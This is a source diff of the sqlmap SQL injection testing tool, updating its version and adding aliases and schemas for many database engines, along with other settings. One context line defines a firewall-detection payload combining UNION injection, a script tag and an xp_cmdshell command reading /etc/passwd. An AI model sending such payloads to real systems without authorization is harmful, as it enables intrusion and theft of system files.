kb.headersFile = None
|
||||||
kb.headersFp = {}
|
kb.headersFp = {}
|
||||||
@@ -2006,6 +2023,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.uChar = NULL
|
kb.uChar = NULL
|
||||||
kb.udfFail = False
|
kb.udfFail = False
|
||||||
kb.unionDuplicates = False
|
kb.unionDuplicates = False
|
||||||
|
kb.unionTemplate = None
|
||||||
kb.webSocketRecvCount = None
|
kb.webSocketRecvCount = None
|
||||||
kb.wizardMode = False
|
kb.wizardMode = False
|
||||||
kb.xpCmdshellAvailable = False
|
kb.xpCmdshellAvailable = False
|
||||||
@@ -2602,7 +2620,7 @@ def _basicOptionValidation():
|
|||||||
errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)"
|
errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
|
if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
|
||||||
errMsg = "option '--crack' should be used as a standalone"
|
errMsg = "option '--crack' should be used as a standalone"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
@@ -2669,7 +2687,7 @@ def init():
|
|||||||
|
|
||||||
parseTargetDirect()
|
parseTargetDirect()
|
||||||
|
|
||||||
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.liveTest)):
|
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork)):
|
||||||
_setHostname()
|
_setHostname()
|
||||||
_setHTTPTimeout()
|
_setHTTPTimeout()
|
||||||
_setHTTPExtraHeaders()
|
_setHTTPExtraHeaders()
|
||||||
|
|||||||
@@ -252,9 +252,6 @@ optDict = {
|
|||||||
"forceDns": "boolean",
|
"forceDns": "boolean",
|
||||||
"murphyRate": "integer",
|
"murphyRate": "integer",
|
||||||
"smokeTest": "boolean",
|
"smokeTest": "boolean",
|
||||||
"liveTest": "boolean",
|
|
||||||
"stopFail": "boolean",
|
|
||||||
"runCase": "string",
|
|
||||||
},
|
},
|
||||||
|
|
||||||
"API": {
|
"API": {
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
import codecs
|
import codecs
|
||||||
|
import random
|
||||||
|
|
||||||
import lib.controller.checks
|
import lib.controller.checks
|
||||||
import lib.core.common
|
import lib.core.common
|
||||||
@@ -25,13 +26,18 @@ from lib.core.common import isListLike
|
|||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.common import shellExec
|
from lib.core.common import shellExec
|
||||||
from lib.core.common import singleTimeWarnMessage
|
from lib.core.common import singleTimeWarnMessage
|
||||||
|
from lib.core.compat import xrange
|
||||||
from lib.core.convert import stdoutEncode
|
from lib.core.convert import stdoutEncode
|
||||||
|
from lib.core.data import conf
|
||||||
from lib.core.option import _setHTTPHandlers
|
from lib.core.option import _setHTTPHandlers
|
||||||
from lib.core.option import setVerbosity
|
from lib.core.option import setVerbosity
|
||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
from lib.request.templates import getPageTemplate
|
from lib.request.templates import getPageTemplate
|
||||||
|
from thirdparty import six
|
||||||
from thirdparty.six.moves import http_client as _http_client
|
from thirdparty.six.moves import http_client as _http_client
|
||||||
|
|
||||||
|
_rand = 0
|
||||||
|
|
||||||
def dirtyPatches():
|
def dirtyPatches():
|
||||||
"""
|
"""
|
||||||
Place for "dirty" Python related patches
|
Place for "dirty" Python related patches
|
||||||
@@ -40,6 +46,18 @@ def dirtyPatches():
|
|||||||
# accept overly long result lines (e.g. SQLi results in HTTP header responses)
|
# accept overly long result lines (e.g. SQLi results in HTTP header responses)
|
||||||
_http_client._MAXLINE = 1 * 1024 * 1024
|
_http_client._MAXLINE = 1 * 1024 * 1024
|
||||||
|
|
||||||
|
# prevent double chunked encoding in case of sqlmap chunking (Note: Python3 does it automatically if 'Content-length' is missing)
|
||||||
|
if six.PY3:
|
||||||
|
if not hasattr(_http_client.HTTPConnection, "__send_output"):
|
||||||
|
_http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output
|
||||||
|
|
||||||
|
def _send_output(self, *args, **kwargs):
|
||||||
|
if conf.chunked and "encode_chunked" in kwargs:
|
||||||
|
kwargs["encode_chunked"] = False
|
||||||
|
self.__send_output(*args, **kwargs)
|
||||||
|
|
||||||
|
_http_client.HTTPConnection._send_output = _send_output
|
||||||
|
|
||||||
# add support for inet_pton() on Windows OS
|
# add support for inet_pton() on Windows OS
|
||||||
if IS_WIN:
|
if IS_WIN:
|
||||||
from thirdparty.wininetpton import win_inet_pton
|
from thirdparty.wininetpton import win_inet_pton
|
||||||
@@ -87,3 +105,35 @@ def pympTempLeakPatch(tempDir):
|
|||||||
multiprocessing.util.get_temp_dir = lambda: tempDir
|
multiprocessing.util.get_temp_dir = lambda: tempDir
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
def unisonRandom():
|
||||||
|
"""
|
||||||
|
Unifying random generated data across different Python versions
|
||||||
|
"""
|
||||||
|
|
||||||
|
def _lcg():
|
||||||
|
global _rand
|
||||||
|
a = 1140671485
|
||||||
|
c = 128201163
|
||||||
|
m = 2 ** 24
|
||||||
|
_rand = (a * _rand + c) % m
|
||||||
|
return _rand
|
||||||
|
|
||||||
|
def _randint(a, b):
|
||||||
|
_ = a + (_lcg() % (b - a + 1))
|
||||||
|
return _
|
||||||
|
|
||||||
|
def _choice(seq):
|
||||||
|
return seq[_randint(0, len(seq) - 1)]
|
||||||
|
|
||||||
|
def _sample(population, k):
|
||||||
|
return [_choice(population) for _ in xrange(k)]
|
||||||
|
|
||||||
|
def _seed(seed):
|
||||||
|
global _rand
|
||||||
|
_rand = seed
|
||||||
|
|
||||||
|
random.choice = _choice
|
||||||
|
random.randint = _randint
|
||||||
|
random.sample = _sample
|
||||||
|
random.seed = _seed
|
||||||
|
|||||||
+1
-1
@@ -25,7 +25,7 @@ def setDbms(dbms):
|
|||||||
|
|
||||||
hashDBWrite(HASHDB_KEYS.DBMS, dbms)
|
hashDBWrite(HASHDB_KEYS.DBMS, dbms)
|
||||||
|
|
||||||
_ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS]))
|
_ = "(%s)" % ('|'.join(SUPPORTED_DBMS))
|
||||||
_ = re.search(r"\A%s( |\Z)" % _, dbms, re.I)
|
_ = re.search(r"\A%s( |\Z)" % _, dbms, re.I)
|
||||||
|
|
||||||
if _:
|
if _:
|
||||||
|
|||||||
+66
-18
@@ -18,7 +18,7 @@ from lib.core.enums import OS
|
|||||||
from thirdparty.six import unichr as _unichr
|
from thirdparty.six import unichr as _unichr
|
||||||
|
|
||||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||||
VERSION = "1.4"
|
VERSION = "1.4.3.0"
|
||||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||||
@@ -60,6 +60,7 @@ UPPER_RATIO_BOUND = 0.98
|
|||||||
PARAMETER_AMP_MARKER = "__AMP__"
|
PARAMETER_AMP_MARKER = "__AMP__"
|
||||||
PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__"
|
PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__"
|
||||||
BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__"
|
BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__"
|
||||||
|
PARAMETER_PERCENTAGE_MARKER = "__PERCENTAGE__"
|
||||||
PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__"
|
PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__"
|
||||||
PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
|
PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
|
||||||
URI_QUESTION_MARKER = "__QUESTION_MARK__"
|
URI_QUESTION_MARKER = "__QUESTION_MARK__"
|
||||||
@@ -74,6 +75,7 @@ RANDOM_STRING_MARKER = "[RANDSTR]"
|
|||||||
SLEEP_TIME_MARKER = "[SLEEPTIME]"
|
SLEEP_TIME_MARKER = "[SLEEPTIME]"
|
||||||
INFERENCE_MARKER = "[INFERENCE]"
|
INFERENCE_MARKER = "[INFERENCE]"
|
||||||
SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
|
SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
|
||||||
|
GENERIC_SQL_COMMENT_MARKER = "[GENERIC_SQL_COMMENT]"
|
||||||
|
|
||||||
PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
|
PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
|
||||||
CHAR_INFERENCE_MARK = "%c"
|
CHAR_INFERENCE_MARK = "%c"
|
||||||
@@ -91,6 +93,12 @@ PERMISSION_DENIED_REGEX = r"(?P<result>(command|permission|access)\s*(was|is)?\s
|
|||||||
# Regular expression used in recognition of generic protection mechanisms
|
# Regular expression used in recognition of generic protection mechanisms
|
||||||
GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"
|
GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"
|
||||||
|
|
||||||
|
# Regular expression used to detect errors in fuzz(y) UNION test
|
||||||
|
FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|comparable|compatible|conversion|converting|failed|error"
|
||||||
|
|
||||||
|
# Upper threshold for starting the fuzz(y) UNION test
|
||||||
|
FUZZ_UNION_MAX_COLUMNS = 10
|
||||||
|
|
||||||
# Regular expression used for recognition of generic maximum connection messages
|
# Regular expression used for recognition of generic maximum connection messages
|
||||||
MAX_CONNECTIONS_REGEX = r"\bmax.+?\bconnection"
|
MAX_CONNECTIONS_REGEX = r"\bmax.+?\bconnection"
|
||||||
|
|
||||||
@@ -255,35 +263,70 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
|
|||||||
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
|
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
|
||||||
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
|
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
|
||||||
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
|
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
|
||||||
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
|
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache")
|
||||||
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
|
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
|
||||||
|
MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
|
||||||
|
DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT")
|
||||||
|
VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",)
|
||||||
|
MCKOI_SYSTEM_DBS = ("",)
|
||||||
|
PRESTO_SYSTEM_DBS = ("information_schema",)
|
||||||
|
ALTIBASE_SYSTEM_DBS = ("SYSTEM_",)
|
||||||
|
MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",)
|
||||||
|
CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys")
|
||||||
|
CUBRID_SYSTEM_DBS = ("DBA",)
|
||||||
|
CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS")
|
||||||
|
EXTREMEDB_SYSTEM_DBS = ("",)
|
||||||
|
FRONTBASE_SYSTEM_DBS = ("DEFINITION_SCHEMA", "INFORMATION_SCHEMA")
|
||||||
|
|
||||||
|
# Note: (<regular>) + (<forks>)
|
||||||
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
|
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
|
||||||
MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria")
|
MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona")
|
||||||
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg")
|
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "redshift", "greenplum", "yellowbrick", "enterprisedb", "aurora")
|
||||||
ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
|
ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
|
||||||
SQLITE_ALIASES = ("sqlite", "sqlite3")
|
SQLITE_ALIASES = ("sqlite", "sqlite3")
|
||||||
ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access")
|
ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access")
|
||||||
FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb")
|
FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb")
|
||||||
MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
|
MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db")
|
||||||
SYBASE_ALIASES = ("sybase", "sybase sql server")
|
SYBASE_ALIASES = ("sybase", "sybase sql server")
|
||||||
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
|
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
|
||||||
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
|
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
|
||||||
H2_ALIASES = ("h2",)
|
H2_ALIASES = ("h2",)
|
||||||
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
|
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
|
||||||
|
MONETDB_ALIASES = ("monet", "monetdb",)
|
||||||
|
DERBY_ALIASES = ("derby", "apache derby",)
|
||||||
|
VERTICA_ALIASES = ("vertica",)
|
||||||
|
MCKOI_ALIASES = ("mckoi",)
|
||||||
|
PRESTO_ALIASES = ("presto",)
|
||||||
|
ALTIBASE_ALIASES = ("altibase",)
|
||||||
|
MIMERSQL_ALIASES = ("mimersql", "mimer")
|
||||||
|
CRATEDB_ALIASES = ("cratedb", "crate")
|
||||||
|
CUBRID_ALIASES = ("cubrid",)
|
||||||
|
CACHE_ALIASES = ("intersystems cache", "cachedb", "cache")
|
||||||
|
EXTREMEDB_ALIASES = ("extremedb", "extreme")
|
||||||
|
FRONTBASE_ALIASES = ("frontbase",)
|
||||||
|
|
||||||
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
|
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
|
||||||
|
|
||||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES
|
SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES)
|
||||||
SUPPORTED_OS = ("linux", "windows")
|
SUPPORTED_OS = ("linux", "windows")
|
||||||
|
|
||||||
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES))
|
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES))
|
||||||
|
|
||||||
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
|
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
|
||||||
REFERER_ALIASES = ("ref", "referer", "referrer")
|
REFERER_ALIASES = ("ref", "referer", "referrer")
|
||||||
HOST_ALIASES = ("host",)
|
HOST_ALIASES = ("host",)
|
||||||
|
|
||||||
|
# DBMSes with upper case identifiers
|
||||||
|
UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.MAXDB, DBMS.H2, DBMS.DERBY, DBMS.ALTIBASE))
|
||||||
|
|
||||||
|
# Default schemas to use (when unable to enumerate)
|
||||||
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
|
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
|
||||||
|
VERTICA_DEFAULT_SCHEMA = "public"
|
||||||
|
MCKOI_DEFAULT_SCHEMA = "APP"
|
||||||
|
CACHE_DEFAULT_SCHEMA = "SQLUser"
|
||||||
|
|
||||||
|
# DBMSes where OFFSET mechanism starts from 1
|
||||||
|
PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE))
|
||||||
|
|
||||||
# Names that can't be used to name files on Windows OS
|
# Names that can't be used to name files on Windows OS
|
||||||
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
|
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
|
||||||
@@ -486,6 +529,9 @@ GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM"
|
|||||||
# Prefix for configuration overriding environment variables
|
# Prefix for configuration overriding environment variables
|
||||||
SQLMAP_ENVIRONMENT_PREFIX = "SQLMAP_"
|
SQLMAP_ENVIRONMENT_PREFIX = "SQLMAP_"
|
||||||
|
|
||||||
|
# General OS environment variables that can be used for setting proxy address
|
||||||
|
PROXY_ENVIRONMENT_VARIABLES = ("all_proxy", "ALL_PROXY", "http_proxy", "HTTP_PROXY", "https_proxy", "HTTPS_PROXY")
|
||||||
|
|
||||||
# Turn off resume console info to avoid potential slowdowns
|
# Turn off resume console info to avoid potential slowdowns
|
||||||
TURN_OFF_RESUME_INFO_LIMIT = 20
|
TURN_OFF_RESUME_INFO_LIMIT = 20
|
||||||
|
|
||||||
@@ -534,6 +580,9 @@ HTML_TITLE_REGEX = r"<title>(?P<result>[^<]+)</title>"
|
|||||||
# Table used for Base64 conversion in WordPress hash cracking routine
|
# Table used for Base64 conversion in WordPress hash cracking routine
|
||||||
ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
|
ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
|
||||||
|
|
||||||
|
# Options/switches to be ignored in command-line parsing (e.g. those passed from Firefox)
|
||||||
|
IGNORED_OPTIONS = ("--compressed",)
|
||||||
|
|
||||||
# Chars used to quickly distinguish if the user provided tainted parameter values
|
# Chars used to quickly distinguish if the user provided tainted parameter values
|
||||||
DUMMY_SQL_INJECTION_CHARS = ";()'"
|
DUMMY_SQL_INJECTION_CHARS = ";()'"
|
||||||
|
|
||||||
@@ -561,11 +610,11 @@ LAST_UPDATE_NAGGING_DAYS = 60
|
|||||||
# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
|
# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
|
||||||
MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
|
MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
|
||||||
|
|
||||||
# Generic address for checking the Internet connection while using switch --check-internet
|
# Generic address for checking the Internet connection while using switch --check-internet (Note: https version does not work for Python < 2.7.9)
|
||||||
CHECK_INTERNET_ADDRESS = "https://ipinfo.io/"
|
CHECK_INTERNET_ADDRESS = "http://ipinfo.io/json"
|
||||||
|
|
||||||
# Value to look for in response to CHECK_INTERNET_ADDRESS
|
# Value to look for in response to CHECK_INTERNET_ADDRESS
|
||||||
CHECK_INTERNET_VALUE = "IP Address Details"
|
CHECK_INTERNET_VALUE = '"ip":'
|
||||||
|
|
||||||
# Payload used for checking of existence of WAF/IPS (dummier the better)
|
# Payload used for checking of existence of WAF/IPS (dummier the better)
|
||||||
IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"
|
IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"
|
||||||
@@ -659,7 +708,7 @@ LARGE_OUTPUT_THRESHOLD = 1024 ** 2
|
|||||||
SLOW_ORDER_COUNT_THRESHOLD = 10000
|
SLOW_ORDER_COUNT_THRESHOLD = 10000
|
||||||
|
|
||||||
# Give up on hash recognition if nothing was found in first given number of rows
|
# Give up on hash recognition if nothing was found in first given number of rows
|
||||||
HASH_RECOGNITION_QUIT_THRESHOLD = 10000
|
HASH_RECOGNITION_QUIT_THRESHOLD = 1000
|
||||||
|
|
||||||
# Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values
|
# Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values
|
||||||
HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash"
|
HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash"
|
||||||
@@ -719,7 +768,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
|
|||||||
CHECK_ZERO_COLUMNS_THRESHOLD = 10
|
CHECK_ZERO_COLUMNS_THRESHOLD = 10
|
||||||
|
|
||||||
# Boldify all logger messages containing these "patterns"
|
# Boldify all logger messages containing these "patterns"
|
||||||
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than")
|
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ")
|
||||||
|
|
||||||
# TLDs used in randomization of email-alike parameter values
|
# TLDs used in randomization of email-alike parameter values
|
||||||
RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe")
|
RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe")
|
||||||
@@ -764,7 +813,7 @@ INVALID_UNICODE_CHAR_FORMAT = r"\x%02x"
|
|||||||
XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"
|
XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"
|
||||||
|
|
||||||
# Regular expression used for detecting JSON POST data
|
# Regular expression used for detecting JSON POST data
|
||||||
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null).*\}\s*(\]\s*)*\Z'
|
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z'
|
||||||
|
|
||||||
# Regular expression used for detecting JSON-like POST data
|
# Regular expression used for detecting JSON-like POST data
|
||||||
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
|
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
|
||||||
@@ -872,10 +921,9 @@ for key, value in os.environ.items():
|
|||||||
|
|
||||||
# Installing "reversible" unicode (decoding) error handler
|
# Installing "reversible" unicode (decoding) error handler
|
||||||
def _reversible(ex):
|
def _reversible(ex):
|
||||||
if isinstance(ex, UnicodeDecodeError):
|
if INVALID_UNICODE_PRIVATE_AREA:
|
||||||
if INVALID_UNICODE_PRIVATE_AREA:
|
